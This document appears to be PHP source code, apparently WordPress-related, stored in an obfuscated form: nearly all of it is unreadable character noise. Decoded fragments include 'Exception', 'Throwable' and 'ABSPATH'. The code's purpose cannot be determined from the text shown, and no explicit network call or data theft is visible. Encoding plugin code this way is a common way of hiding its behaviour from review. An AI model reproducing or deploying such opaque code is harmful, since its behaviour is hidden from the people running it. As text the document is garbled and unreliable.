][\L#		T#		T##			T#			#[L]\[G		_]PJ\SGZNYM##							T	JH]JA			}A[F^HKEL	E]GYK]v 	R#	Y[@DH[P	M@[LJ]F[	##FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 	E]GYK]v ###T	JH]JA	lQJLY]@FG					E]GYK]v 		R#			T#	ZLZX\@E@GLH[	[L][PYFE@JP	##		[L]\[G	OHEZL###						T#			#	O\GJ]@FG						FQZP^SKDDK\P[YBEB\JZ			DSEGQ[@J[ ####								R####						DLK^^CHLZXG				H[[HP #			DSEGQ[@J[				DSEGQ[@J[					#								#				NOGOQSYBC\M]			i@N[KMFGKOJZ [YBEB\JZ B\^XJNOA@YZKAJH_AJL]B\^XJNOA@Y#	@O				@^v_XSYHPXKSN NOGOQSYBC\M]  	R###[L]\[G		DLK^^CHLZXG#				T#					NOGOQSYBC\M]						SPDBZLLFM] NOGOQSYBC\M]				QJQ  ###		#			OF[LHJA		NOGOQSYBC\M]		HZ	SNMHJKG]OP 			R#####			@O		SNMHJKG]OP						UU					SNMHJKG]OP					KKAEPBMEYMGE  				R#			JFG]@G\L#						T####	OH]@BBD			[YBEB\JZ											SNMHJKG]OP#					@O							i@N[KMFGKOJZ OH]@BBD  			R#			JFG]@G\L#	T#			#		@O		iKKAEPBMEYMGE OH]@BBD						KKAEPBMEYMGE   			R####					DLK^^CHLZXGrt		@^v_XSYHPXKSN OH]@BBD				@N[KMFGKOJZ  #JFG]@G\L#					T#						####			@O	DSEGQ[@J[						 			R##						DLK^^CHLZXG						@N[KMFGKOJZ DLK^^CHLZXG			FQZP^SKDDK\POH]@BBD						DSEGQ[@J[  #							T#			T#	#						[L]\[G	DLK^^CHLZXG#			T#	O\GJ]@FG				HYPJZDP@@_^ #			R#	[^KXEKX_MEF					H[[HP ###ZKS]Z]AJY@G]O						SPDBZLLFM] hkzyh}a	SPDBZLLFM]  #			][P		R#			EMYS\]\YGZM						H[[HP #	@O	ZKS]Z]AJY@G]O 	R#EMYS\]\YGZMrt							KKAEPBMEYMGE ZKS]Z]AJY@G]O #					EMYS\]\YGZMrt		SPDBZLLFM] @^v_XSYHPXKSN ZKS]Z]AJY@G]O  ####						EMYS\]\YGZMrt			SPDBZLLFM] KKAEPBMEYMGE SPDBZLLFM] ZKS]Z]AJY@G]O   #T###	#	EMYS\]\YGZMrt				KKAEPBMEYMGE #	EMYS\]\YGZMrt					SPDBZLLFM] #	EMYS\]\YGZMrt			KKAEPBMEYMGE #EMYS\]\YGZMrt				@N[KMFGKOJZ #				EMYS\]\YGZMrt				@N[KMFGKOJZ #							EMYS\]\YGZMrt								@N[KMFGKOJZ ##EMYS\]\YGZMrt		KKAEPBMEYMGE ##						#		JB\JYMBQvH[					SPDBZLLFM] @^v_XSYHPXKSN  					Z][@GN 			i@^v_XSYHPXKSN SPDBZLLFM]  		#			@O			JB\JYMBQvH[					 					R#	NEZ@XH@Q				@^v_XSYHPXKSN JB\JYMBQvH[			 				OHEZL 														#	OF[LHJA		@^v_XSYHPXKSN NEZ@XH@Q		JB\JYMBQvH[ 		HZ	OEKOHSDG@[F 			R#	OEKOHSDG@[F							KKAEPBMEYMGE OEKOHSDG@[F #@O	OEKOHSDG@[F							 	R#				EMYS\]\YGZMrt						OEKOHSDG@[F#						T#	T#							T#	#				EMYS\]\YGZM		KKAEPBMEYMGE @N[KMFGKOJZ EMYS\]\YGZM  #						YFY]@HJZE								SPDBZLLFM] ][\L ##					[^KXEKX_MEF				H[[HP vDYKJYKUAJAPZAGHvDYKJYKw#						#OF[LHJA			EMYS\]\YGZM		HZ				[YBEB\JZ 				R#		#	@O						iKKAEPBMEYMGE [YBEB\JZ 		UU		i@N[KMFGKOJZ [YBEB\JZ  		R#			JFG]@G\L#T###@O		KKAEPBMEYMGE ][\L 		YFY]@HJZE 					QQ  			R#	K[LHB#		T#	####					[^KXEKX_MEF			KKAEPBMEYMGE [^KXEKX_MEF				FQZP^SKDDK\P[YBEB\JZ	  GZN@MHK]QLQ B_OJPCDGZN@MHK]#		T###T				JH]JA					}A[F^HKEL			E]GYK]v 	R#	FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 		E]GYK]v #	T				JH]JA		lQJLY]@FG		E]GYK]v 			R@CZKKAyayvdhcf{vl{z`fgZCZXAvvJPv@CZKKA##			T#		#		[L]\[G	KKAEPBMEYMGE SPDBZLLFM] [^KXEKX_MEF 				H[[HPZKS]Z]AJY@G]O  #		##			T#	O\GJ]@FG			SQCF@[_[HGAEGNZNLJNSXQQYJ #				R#			][P			R#S\NF^AJ]DFPKGCL			H[[HPZNLJNSXQQYJ						KKAEPBMEYMGE 	ZNLJNSXQQYJ					@N[KMFGKOJZ  #OF[LHJA					S\NF^AJ]DFPKGCL		HZ		[YBEB\JZ 	R#@O								i@^v_XSYHPXKSN [YBEB\JZ  	R#				JFG]@G\L#T#				PHLLHZ@S					\Z\AGLAZAHZXB\[YBEB\JZ #						@O		@^v_XSYHPXKSN PHLLHZ@S  				RAABA\vDCJHQOQK SZHHYBSKFAABA\vDCJH#	JFG]@G\L#		T#						OF[LHJA	PHLLHZ@S	HZ					E]GYK]v 		R#		@O					@N[KMFGKOJZ E]GYK]v				  						KKAEPBMEYMGE 								QL@vJL^E^ZMBO_[YBEB\JZ												E]GYK]v	   		R##			[L]\[G	][\L#	T#		T#	OF[LHJA	PHLLHZ@S				HZ	E]GYK]v 		R#		YvLBXDEQ[Z[								[YBEB\JZ							E]GYK]v###			@O		i@^v_XSYHPXKSN YvLBXDEQ[Z[  		R#			JFG]@G\L##		T#			JL@OQND_						\Z\AGLAZAHZXB\YvLBXDEQ[Z[ #		@O					KKAEPBMEYMGE JL@OQND_  					R#JFG]@G\L#			T#		OF[LHJA						JL@OQND_		HZ	MLXDFHODDKY 			R#@O	@N[KMFGKOJZ MLXDFHODDKY	QQ  			@N[KMFGKOJZ 				QL@vJL^E^ZMBO_YvLBXDEQ[Z[										MLXDFHODDKY		QKQM   		R####	[L]\[G	][\L#		T##	T#	T#T#		T			JH]JA	}A[F^HKEL				E]GYK]v 	R#	iZL[@HE@SL	HMHY]L[##		FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 				E]GYK]v #T	JH]JA		lQJLY]@FG						E]GYK]v 			R##					T#						[L]\[G		OHEZL#			T#		O\GJ]@FG	OOY_CF@[Z@BO #R#			][P		R#	@O	SDLMOCK_]JSDN^[ZKLSD_   	[L]\[G#			###@O		NL]v][HGZ@LG]KKAEPBMEYMGE   			R#	[L]\[G###			T#	##				YEA^CJENGPQ						LSQQPGQ_@[D^ #		@O							YEA^CJENGPQ	UU	KKAEPBMEYMGE YEA^CJENGPQ 				  		R#			[L]\[G#		T#			@O				_SMG[M@XJvKJSK\YEA^CJENGPQ  				R#FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 	KKAEPBMEYMGE  #			[L]\[G#T#	~y	yFZ]	}@]EL	LGHKEL	Y[FFO]L[D####[^KXEKX_MEF			HYPJZDP@@_^ ##				@O		LDY]P[^KXEKX_MEF  			R#			@O	NL]v][HGZ@LG]@^v_XSYHPXKSN   		R##	FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 				KKAEPBMEYMGE  #		ZL]v][HGZ@LG]SPDBZLLFM] 								QHHQ  #							T#								ZL]v][HGZ@LG]@^v_XSYHPXKSN 						  #				[L]\[G###					T##	ZM@Q@XZ\E						#			OF[LHJA	[^KXEKX_MEF					HZ		ZNLJNSXQQYJ 			R####		####@O			SQCF@[_[HGAEGNZNLJNSXQQYJ  		R#JFG]@G\L#	T#			#			BYMQFJC@HX^]							#		LLNM_ZDJA@QKC						ZNLJNSXQQYJ			@^v_XSYHPXKSN ##		@O	iKKAEPBMEYMGE LLNM_ZDJA@QKC 			iKKAEPBMEYMGE LLNM_ZDJA@QKC  		R#			LLNM_ZDJA@QKC							G\EE###	T			LEZL@O			i@N[KMFGKOJZ LLNM_ZDJA@QKC  					R####	vGQBQZEPNCOHHMLLNM_ZDJA@QKC	 		][\L ####T#			@O		LLNM_ZDJA@QKC			iKKAEPBMEYMGE LLNM_ZDJA@QKC 				UU				i@N[KMFGKOJZ LLNM_ZDJA@QKC   			R#							LLNM_ZDJA@QKC			G\EE#							T#@O			LLNM_ZDJA@QKC 	R####SOAGPK@SKZ				LLNM_ZDJA@QKC										@BZAN\Q\PQ@EXJP ###JP^[[LFH_MH				]ODXFFOB\PHLBFG^YEA^CJENGPQ #		PA_C\vG					]CMKXXQK@G\FHSOAGPK@SKZ		JP^[[LFH_MH		@^v_XSYHPXKSN  #			@O	PA_C\vG							PA_C\vG					@N[KMFGKOJZ JP^[[LFH_MH  			R###BYMQFJC@HX^]					SOAGPK@SKZ#			T#					T#							##						@O			BYMQFJC@HX^] 			R#					[ZGFJ]D^_C^XQ			SPDBZLLFM] @BZAN\Q\PQ@EXJP 	yh}a`gofvo`elghdl #			JvPv[PF\LS					ZNLJNSXQQYJ					KKAEPBMEYMGE 		[ZGFJ]D^_C^XQ#@O								iKKAEPBMEYMGE JvPv[PF\LS  		R#	vGQBQZEPNCOHHMJvPv[PF\LS	 					][\L #		T#							SOAGPK@SKZ					JvPv[PF\LS							@BZAN\Q\PQ@EXJP #				JP^[[LFH_MH							]ODXFFOB\PHLBFG^YEA^CJENGPQ #						PA_C\vG				]CMKXXQK@G\FHSOAGPK@SKZ			JP^[[LFH_MH				SPDBZLLFM]  #			##					@O					PA_C\vG					PA_C\vG					@^v_XSYHPXKSN JP^[[LFH_MH  				R#BYMQFJC@HX^]							SOAGPK@SKZ##KHZLGHDL								[ZGFJ]D^_C^XQ											@BZAN\Q\PQ@EXJP ###		AD^HCFY@Y_]XZNLJNSXQQYJ					KHZLGHDL #				T#			T#	@O		BYMQFJC@HX^] 				R#	JFG]@G\L#	T#LCEBMJ]BEBYMQFJC@HX^] #		XX]L[vEYC^\OZSZ_@JLBYMQFJC@HX^]			QQK  ###		ZM@Q@XZ\E#T####						@O		ZM@Q@XZ\E		 		R#		ZL]v][HGZ@LG]@N[KMFGKOJZ 				QOOQOK  #	T						LEZL				R#						ZL]v][HGZ@LG]KKAEPBMEYMGE 							  #			T##						T			JH]JA		}A[F^HKEL				E]GYK]v 				R#		FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 			E]GYK]v #T		JH]JA			lQJLY]@FG				E]GYK]v 		R#T#		T#			O\GJ]@FG	AD^HCFY@Y_]XZNLJNSXQQYJ		KHZLGHDL #R#							][P		R####	@KK]HX_LGK							ZNLJNSXQQYJ							SPDBZLLFM] #				@O			iKKAEPBMEYMGE @KK]HX_LGK  	R#				@KK]HX_LGK						KKAEPBMEYMGE ZNLJNSXQQYJ 					@N[KMFGKOJZ #					@O				iKKAEPBMEYMGE @KK]HX_LGK  			R#				[L]\[G#				T#				T###	@DZNOYA					i@^v_XSYHPXKSN @KK]HX_LGK #@O			@DZNOYA 				R#			[L]\[G#		T#	YK[vLOSOH								#Y[LO@Q		###								@O	KKAEPBMEYMGE SPDBZLLFM] 			@DZNOYA			_CZDGOY  	RE_AKO@QGUPQv^EvSO\vE_AKO@QGw##YK[vLOSOH				_CZDGOYrt#	T#@O	SPDBZLLFM] @^v_XSYHPXKSN 			@DZNOYA			_CZDGOY  		R#				Y[LO@Q								_CZDGOYrt#T#		@O						YK[vLOSOH		UU							Y[LO@Q						UU		@^v_XSYHPXKSN SPDBZLLFM] 				Y[LO@Q  				R#		[L]\[G##						T###^YMK					nefkhezr@^v_XSYHPXKSN t#				@O								SPDBZLLFM] ^YMK 		UU			@N[KMFGKOJZ ^YMK		@N[KMFGKOJZ   			R#						[L]\[G#T#@O							KKAEPBMEYMGE @N[KMFGKOJZ 					YK[vLOSOH  			R#	FBQKvM[JB\ZMHPE\SPDBZLLFM] 		KKAEPBMEYMGE  #	[L]\[G####	T#								F]X_PNBXG_\					I						YK[vLOSOH					@N[KMFGKOJZ 			Y[LO@Q			SPDBZLLFM] #			^YMKX\L[P@^v_XSYHPXKSN  #		O][DHFCZ					^YMKNL]v_H[z				KKAEPBMEYMGE 					F]X_PNBXG_\				KKAEPBMEYMGE 						@^v_XSYHPXKSN 								@N[KMFGKOJZ  #						@O			O][DHFCZ					G\EE 	R#^YMKX\L[P@N[KMFGKOJZ  #			[L]\[G##				T#							MHK_[YGZ]					_DvHZH]JX\HO][DHFCZ #	@O					@N[KMFGKOJZ MHK_[YGZ]  	R####					^YMKX\L[P@^v_XSYHPXKSN  #[L]\[G#	T#@O			SPDBZLLFM] KHZLGHDL		MHK_[YGZ]	][\L  	R#	^YMKX\L[P@N[KMFGKOJZ  #				[L]\[G#T##					MHK_[YGZ]rt			KHZLGHDL##			MHK_[YGZ]							@N[KMFGKOJZ MHK_[YGZ] #						]MCS@DLPNC				KKAEPBMEYMGE MHK_[YGZ] #	PJBvH[vX^HS[				^YMKX\L[P^YMKY[LYH[L|								@N[KMFGKOJZ 							F]X_PNBXG_\							@^v_XSYHPXKSN 				@^v_XSYHPXKSN 	]MCS@DLPNC  ####	@O	PJBvH[vX^HS[					OHEZL 		R####FBQKvM[JB\ZMHPE\SPDBZLLFM] 				@^v_XSYHPXKSN  #^YMKX\L[PSPDBZLLFM]  ###[L]\[G#	T#		^YMKX\L[PKKAEPBMEYMGE  #					T				JH]JA	}A[F^HKEL			E]GYK]v 		R#							FBQKvM[JB\ZMHPE\SPDBZLLFM] 		E]GYK]v #				@O		KKAEPBMEYMGE nefkhezrSPDBZLLFM] t  			R#	inefkhezrSPDBZLLFM] tX\L[PSPDBZLLFM]  #	T#	T		JH]JA		lQJLY]@FG		E]GYK]v 				R###						FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 		E]GYK]v #			@O		SPDBZLLFM] nefkhezr@^v_XSYHPXKSN t  			R#inefkhezrKKAEPBMEYMGE tX\L[PKKAEPBMEYMGE  #							T#			T###		T#		O\GJ]@FG			CSLCF_@vP #			R#			Z]H]@J		@DZNOYA			G\EE#	@O	@DZNOYA						G\EE 		[L]\[G		@DZNOYA#			@O		@^v_XSYHPXKSN @^v_XSYHPXKSN   		R#@DZNOYA							ZOLOYP]UJLZKLED__ZOLOYP]w#				[L]\[G		@DZNOYAQFNMCCyayv`g}vdhqyayv`g}vdhqM@[@S_D_QFNMCC##				T#@DZNOYA									iNS@GOEH]L@^v_XSYHPXKSN @^v_XSYHPXKSN   ##			@O		@N[KMFGKOJZ @DZNOYA 						UU		@^v_XSYHPXKSN @DZNOYA 					  		@DZNOYA					#	[L]\[G	@DZNOYA#			T#	O\GJ]@FG	@^GBKCFKEYM #			R##][P			R#@O	MLO@GLMKKAEPBMEYMGE   	[L]\[G#M_XXHYC^C_SP							SPDBZLLFM] [ZKLSD_ 					KKAEPBMEYMGE  #	XONOYOA[[							FZLYYKLLEQ[\Ahkzyh}a			KKAEPBMEYMGE 				  					SPDBZLLFM] #YGKBX]CM			FZLYYKLLEQ[\Ahkzyh}a				@N[KMFGKOJZ 			w  #XJCGSNSZBHDSK						@^v_XSYHPXKSN @N[KMFGKOJZ  			JFG]LG]v\[E 				#		@O			XJCGSNSZBHDSK						 				R#								XJCGSNSZBHDSK					@^v_XSYHPXKSN SPDBZLLFM]  				NL]vZ@]Lv\[E 					 							@N[KMFGKOJZ #	T#	YH[HEELE@SL	JFDDHGM	OF[	dPzxe	^@GMF^	O\GJ]@FGZ##	LSM@L_PP							@N[KMFGKOJZ @^v_XSYHPXKSN 				SPDBZLLFM] 	XJCGSNSZBHDSK																	XONOYOA[[ #					@O		@N[KMFGKOJZ LSM@L_PP		KKAEPBMEYMGE  			 	LSM@L_PP				@^v_XSYHPXKSN 			KKAEPBMEYMGE LSM@L_PP	 #				HYPOH]YCJ									@N[KMFGKOJZ @N[KMFGKOJZ  			AFDLv\[ESPDBZLLFM] 				^vGQONZLKGDBvKKAEPBMEYMGE   			#			@O					HYPOH]YCJ								 			HYPOH]YCJ				@^v_XSYHPXKSN 											^NSJYZ_PLBFXKO 		@N[KMFGKOJZ 			^vGQONZLKGDBv@^v_XSYHPXKSN  #@O	@N[KMFGKOJZ HYPOH]YCJ				KKAEPBMEYMGE  			 	HYPOH]YCJ						@^v_XSYHPXKSN 				@N[KMFGKOJZ @^v_XSYHPXKSN KKAEPBMEYMGE 											HYPOH]YCJ 				 #	NGCCPSX@F				@ZZL]nefkhezr@^v_XSYHPXKSN t 				KKAEPBMEYMGE nefkhezr@N[KMFGKOJZ t 			nefkhezr@^v_XSYHPXKSN t					#					@O		KKAEPBMEYMGE NGCCPSX@F 								  		R#						NGCCPSX@F						FMQHASYASG@v@^v_XSYHPXKSN 		 #T#		@O				@N[KMFGKOJZ NGCCPSX@F 									w  		R#		NGCCPSX@F					CSLCF_@vP ####				T#@YAvQO_P_Sv		#					@O		@ZZL]nefkhezrKKAEPBMEYMGE t 					@N[KMFGKOJZ nefkhezrKKAEPBMEYMGE t 				@^v_XSYHPXKSN nefkhezr@N[KMFGKOJZ t 								  	R#			@YAvQO_P_Sv							nefkhezr@^v_XSYHPXKSN t#				T			LEZL	R#			@YAvQO_P_Sv							FMQHASYASG@v@^v_XSYHPXKSN 		 ###		T#	]PYL	DH]JA@GN##			@O	SPDBZLLFM] @YAvQO_P_Sv 									  	R#	CSvEESS]PSH[M^GBD_KKAEPBMEYMGE 	@YAvQO_P_Sv	@N[KMFGKOJZ  #				T#		YQHMCZPXHGFN				KKAEPBMEYMGE KKAEPBMEYMGE  				Z][@GN 	@^v_XSYHPXKSN AFDLv\[E 				yayv|{evyh}a 						#				@O		YQHMCZPXHGFN				 		YQHMCZPXHGFN				#@O	@^v_XSYHPXKSN YQHMCZPXHGFN		 				 	YQHMCZPXHGFN					#		X@YJGY[[Z				H[[HP#								@N[KMFGKOJZ 				GGLDGXPF^PLBHN^C ##@N[KMFGKOJZ 			XANv\LXY__PKOA ####			KKAEPBMEYMGE 								YQHMCZPXHGFN# ##	\BDG\^C_OZ						H[[HP#			@N[KMFGKOJZ 				LSM@L_PP#	KKAEPBMEYMGE 					M_XXHYC^C_SP###			KKAEPBMEYMGE 						HYPOH]YCJ##		KKAEPBMEYMGE 					FZLYYKLLEQ[\Ahkzyh}a									@N[KMFGKOJZ 				w  #	@N[KMFGKOJZ 				@YAvQO_P_Sv#		 #	SMG^]v[AQF			AK@\_C^N^\[SGBvvQ@N[KMFGKOJZ 	 #			@O		@^v_XSYHPXKSN SMG^]v[AQF 		UU				SPDBZLLFM] SMG^]v[AQF 		 			R##	[L]\[G#		T#								L_MQMFBSCQMO					@N[KMFGKOJZ SSZXS^KZAAPQLL@v@N[KMFGKOJZ \BDG\^C_OZ 	SMG^]v[AQF  #CZDP_^ZNO[[						SPDBZLLFM] 							KKAEPBMEYMGE SPDBZLLFM] X@YJGY[[Z  				@N[KMFGKOJZ #		CZDP_^ZNO[[				KKAEPBMEYMGE 		L_MQMFBSCQMO					KKAEPBMEYMGE #			CSvEESS]PSH[M^GBD_SPDBZLLFM] 	CZDP_^ZNO[[				@^v_XSYHPXKSN  #CSvEESS]PSH[M^GBD_@N[KMFGKOJZ 					@N[KMFGKOJZ Z][@GN 			NGCCPSX@F				Z][@GN 		@YAvQO_P_Sv				SMG^]v[AQF									U				KKAEPBMEYMGE ^NSJYZ_PLBFXKO   			KKAEPBMEYMGE  #			MJKM\LCKAOJD^											@N[KMFGKOJZ @N[KMFGKOJZ  					AFDLv\[E@^v_XSYHPXKSN 									^vGQONZLKGDBv@N[KMFGKOJZ   						#@O	MJKM\LCKAOJD^						 			MJKM\LCKAOJD^						KKAEPBMEYMGE 					^NSJYZ_PLBFXKO 				SPDBZLLFM] 					^vGQONZLKGDBvSPDBZLLFM]  #				@O			KKAEPBMEYMGE MJKM\LCKAOJD^			@^v_XSYHPXKSN  						 		MJKM\LCKAOJD^					@^v_XSYHPXKSN 					KKAEPBMEYMGE @N[KMFGKOJZ @N[KMFGKOJZ 			MJKM\LCKAOJD^ 		 #	CSvEESS]PSH[M^GBD_SPDBZLLFM] 						MJKM\LCKAOJD^			@N[KMFGKOJZ  ###	@O		KKAEPBMEYMGE NGCCPSX@F 						QQM  		R#[L]\[G#					T#CSvEESS]PSH[M^GBD_SPDBZLLFM] 		NGCCPSX@F		KKAEPBMEYMGE  #@O					HNA_P@GZGMN  				[L]\[G##					LCB\LSHJLG[O				^D]]OFPX_KGKN@ #			@O			i@N[KMFGKOJZ LCB\LSHJLG[O  	vGQBQZEPNCOHHMLCB\LSHJLG[O				 	][\L #@O	i@N[KMFGKOJZ LCB\LSHJLG[O 	UU					iKKAEPBMEYMGE LCB\LSHJLG[O  	[L]\[G#	J[JHAXLJ		LCB\LSHJLG[O										YGKBX]CM					@N[KMFGKOJZ GGBFZXDFECUBBAME_SF]MOQGGBFZXDFECw#	]YFZDG			GvOZDJCMQLYAvYLO###		@^v_XSYHPXKSN #			H[[HPvvze|nvv	vvs`yvghdlvv			vv~{`}lvblpvv			vvl{z`fgvv ###H[[HPM_XXHYC^C_SP		XONOYOA[[		FZLYYKLLEQ[\Ahkzyh}a						KKAEPBMEYMGE 		  	^NKBHS]S^NFHGH^O]  ###		 #				@O	]YFZDG 					R#			@O	@G] 	NL]vFY]@FGKKAEPBMEYMGE 	 								 			FBQKvM[JB\ZMHPE\SPDBZLLFM] 	@N[KMFGKOJZ  #	[L]\[G####				T#	@O						iKKAEPBMEYMGE J[JHAXLJ 	UU			@^v_XSYHPXKSN C^v@Z@\@ACBCLZ][@GN 				iSPDBZLLFM] J[JHAXLJ   				@N[KMFGKOJZ ]YFZDG  	R#				]CMKXXQK@G\FHJ[JHAXLJ			]YFZDG		KKAEPBMEYMGE  #		JBA\G@vQJPN]M]J[JHAXLJ	^ASQ\PAL\@O  ##	XX]L[vEYC^\OZSZ_@JLJ[JHAXLJ	QLQKJ  ##		EHOBPA]OAvHJ[JHAXLJ #			T#					T			JH]JA		}A[F^HKEL		E]GYK]v 	R#		FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 	E]GYK]v #					T		JH]JA	lQJLY]@FG	E]GYK]v 			R#		T#T#O\GJ]@FG			GvOZDJCMQLYAvYLOBLP	MQSDD@ZBC			FFGG]XCZDPLP] #				R#	vNDDQANQAC]^F								G\EE##			@O						vNDDQANQAC]^F							G\EE 			R#		vNDDQANQAC]^F			@^v_XSYHPXKSN @N[KMFGKOJZ  				NL]v][HGZ@LG]HZZ[vN@S@BZX  					OHEZL#		@O			@N[KMFGKOJZ vNDDQANQAC]^F  		R##		vNDDQANQAC]^F				HA@ZOGv_MX[HB_Q\@^v_XSYHPXKSN 	OHEZL #T#		@O					SPDBZLLFM] vNDDQANQAC]^F  	R#	vNDDQANQAC]^F					H[[HP #				T#	JALJBYF@G]	YFZ@]@_LMLO@G@]L	[LJF[MEHPL[##		T#J_@[BEONv_								#@O			@ZZL]vNDDQANQAC]^FrBLPt 							@^v_XSYHPXKSN vNDDQANQAC]^FrBLPt  	R#J_@[BEONv_				vNDDQANQAC]^FrBLPtSQEYKQB[S\X_P@@ZZSQEYKQB[#				T#			@O	@^v_XSYHPXKSN J_@[BEONv_ 			  						R###J_@[BEONv_				FMQHASYASG@vBLP	 #T###	@O	@^v_XSYHPXKSN J_@[BEONv_ 			QQM  		[L]\[G	OHEZL###]KD]PF\EJY			@N[KMFGKOJZ J_@[BEONv_	][\L #@O		]KD]PF\EJY		UU		KKAEPBMEYMGE ]KD]PF\EJY 							QQO  		[L]\[G					OHEZL###				@O		KKAEPBMEYMGE ]KD]PF\EJY					@N[KMFGKOJZ  				OHEZL 		[L]\[G	OHEZL#	]KD]PF\EJY							@N[KMFGKOJZ MQSDD@ZBC		FFGG]XCZDPLP]			]KD]PF\EJY #				@O			MLO@GLM@N[KMFGKOJZ   				R##		][P		R#					i]FBLGvNL]vHEE]KD]PF\EJY		}fblgvyh{zl #							T	JH]JA		}A[F^HKEL				E]GYK]v 		R#[L]\[G				OHEZL###			T			JH]JA			lQJLY]@FG	E]GYK]v 		R#[L]\[G	OHEZL##		T###	T		LEZL@O			_SMG[M@XJvKJSK\]KD]PF\EJY  	R#		[L]\[G	OHEZL#T#	[L]\[G		]KD]PF\EJY##	T#		O\GJ]@FG				SENDYMJ\^^CSHFB] ####		R#						][P					R#@O		KKAEPBMEYMGE SPDBZLLFM]   				[L]\[G#@O			MLO@GLM@N[KMFGKOJZ   	[L]\[G#BJPFCKKvFPK					H^SKX[@GYM_KEMSB #				@O				BJPFCKKvFPK 					R#			@^GBKCFKEYM #								BJPFCKKvFPK						H^SKX[@GYM_KEMSB #		T#KFN]]MJYZPP			FMQHASYASG@vKKAEPBMEYMGE 	 #						@O					@^v_XSYHPXKSN KFN]]MJYZPP 				 	KFN]]MJYZPP				SPDBZLLFM] uQ			  ####				K_GBPO]HLGJA								@ZZL]nefkhezrSPDBZLLFM] t 				@^v_XSYHPXKSN nefkhezr@^v_XSYHPXKSN t 								KKAEPBMEYMGE nefkhezr@^v_XSYHPXKSN t 			  					nefkhezrKKAEPBMEYMGE t				FMQHASYASG@v@^v_XSYHPXKSN 			 #@O		KKAEPBMEYMGE K_GBPO]HLGJA 										  		K_GBPO]HLGJA		CSLCF_@vP #		FGv_\vvX]JX						@ZZL]nefkhezrKKAEPBMEYMGE t 					KKAEPBMEYMGE nefkhezrSPDBZLLFM] t 				SPDBZLLFM] nefkhezrKKAEPBMEYMGE t 				w  				nefkhezr@N[KMFGKOJZ t				FMQHASYASG@vSPDBZLLFM] 		 #	S\YP__K		SPDBZLLFM] K_GBPO]HLGJA			FGv_\vvX]JX						KFN]]MJYZPP								U				SPDBZLLFM] ^NSJYZ_PLBFXKO   #				@O			FMQHASYASG@vKKAEPBMEYMGE 	 								S\YP__K 	R#						@^GBKCFKEYM #	BJPFCKKvFPK				H^SKX[@GYM_KEMSB #T#	@O	HNA_P@GZGMN  		[L]\[G#			_ONSMO			\PMXQZ\DMJ_]\OH ]HS[vQO@PGE[]SMPJ\]HS[vQO@#P[AvAPJHPF[				i@^v_XSYHPXKSN _ONSMO							KKAEPBMEYMGE  #	@O		P[AvAPJHPF[		BJPFCKKvFPK								NL]v][HGZ@LG]KKAEPBMEYMGE   				[L]\[G#	vGOEXYPM]YC #			GLZJ]Gv_SP #							\v\PN[@SA@L #	MCFNBJ_ZX			iSPDBZLLFM] _ONSMO			@^v_XSYHPXKSN  ###				BJPFCKKvFPK											H^SKX[@GYM_KEMSB #@O			MCFNBJ_ZX		BJPFCKKvFPK 		R#		ZL]v][HGZ@LG]@N[KMFGKOJZ 						QQM  #T##	T		JH]JA		}A[F^HKEL				E]GYK]v 	R#					FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 		E]GYK]v ###		T			JH]JA			lQJLY]@FG		E]GYK]v 		R#	Z][LZZ]LZ]	[LM\J]@FG	OF[	~y	o\EE	z@]L	lM@]@GN####T#T####	O\GJ]@FG	GLZJ]Gv_SP #			R##						][P	R#							@O			MLO@GLMSPDBZLLFM]   				[L]\[G#					@O		SPDBZLLFM]  		@N[KMFGKOJZ  		[L]\[G#			LNE@OEPSS[			@N[KMFGKOJZ @^v_XSYHPXKSN  		iSPDBZLLFM] SPDBZLLFM]  				OHEZL#				@O			LNE@OEPSS[			UU	LNE@OEPSS[						UU		LNE@OEPSS[			SPDBZLLFM]  	LNE@OEPSS[						@^v_XSYHPXKSN #		YGKBX]CM					FZLYYKLLEQ[\Ahkzyh}a							@^v_XSYHPXKSN 			w  #			_ONSMO							\PMXQZ\DMJ_]\OH #LCB\LSHJLG[O						^D]]OFPX_KGKN@ #		HOQEGHvB									FZLYYKLLEQ[\Ahkzyh}a							@N[KMFGKOJZ 		  			SPDBZLLFM] #FQ\[@]			_ONSMO										HOQEGHvB#]FPXXNP					_ONSMO					@^v_XSYHPXKSN 					HOQEGHvBX[CH\_JXyayvdhcf{vl{z`fgFXHS][X[CH\_JX#				M_XXHYC^C_SP							KKAEPBMEYMGE [ZKLSD_ 		@^v_XSYHPXKSN  #	XONOYOA[[				FZLYYKLLEQ[\Ahkzyh}a			SPDBZLLFM] 					  				KKAEPBMEYMGE #P[SXYMEK									@G] 				NL]vFY]@FG@N[KMFGKOJZ 		 #		@O			P[SXYMEK						KKAEPBMEYMGE  					P[SXYMEK				QLLMQHH  	R#			XCKSLXOECGQvOZFQ\[@]			G\EE #					XCKSLXOECGQvOZ]FPXXNP			G\EE ###OF[LHJA				H[[HPSPDBZLLFM] hkzyh}a			@N[KMFGKOJZ  	@N[KMFGKOJZ _ONSMO			@N[KMFGKOJZ   					HZ				\FXYDXPBP 	R#					QZFG^ZG@]DKZ			\FXYDXPBP								LNE@OEPSS[####			JAXYEZCNA				i@^v_XSYHPXKSN QZFG^ZG@]DKZ 									i@^v_XSYHPXKSN QZFG^ZG@]DKZ 					#			@O				SPDBZLLFM] JAXYEZCNA 										KKAEPBMEYMGE JAXYEZCNA	HOQEGHvB 			OHEZL 		R#	EJSOA^YQ\B					SPDBZLLFM] @N[KMFGKOJZ 								SPDBZLLFM] HOQEGHvB		 			@^v_XSYHPXKSN 		uG	JAXYEZCNA ####		@O						@^v_XSYHPXKSN EJSOA^YQ\B 										EJSOA^YQ\B			JAXYEZCNA 				ZKXOKS\JGG_ZQC@QYQZFG^ZG@]DKZ		EJSOA^YQ\B ####T#	dPzxe		j}lZ	H]]HJADLG]	DL]HMH]H##	T#				[L]\[G###T#			QENHAKBP@					GvOZDJCMQLYAvYLO####KKAEPBMEYMGE #		H[[HPvvze|nvv	vvs`yvghdlvv			vv`gz}vahzavv			vvmh}hvm`{vv		vvjfg}lg}vm`{vkvv					vvl{z`fgvv #H[[HPM_XXHYC^C_SP	XONOYOA[[	YGKBX]CM			@N[KMFGKOJZ 				FZLYYKLLEQ[\Ahkzyh}a							KKAEPBMEYMGE 	  				KKA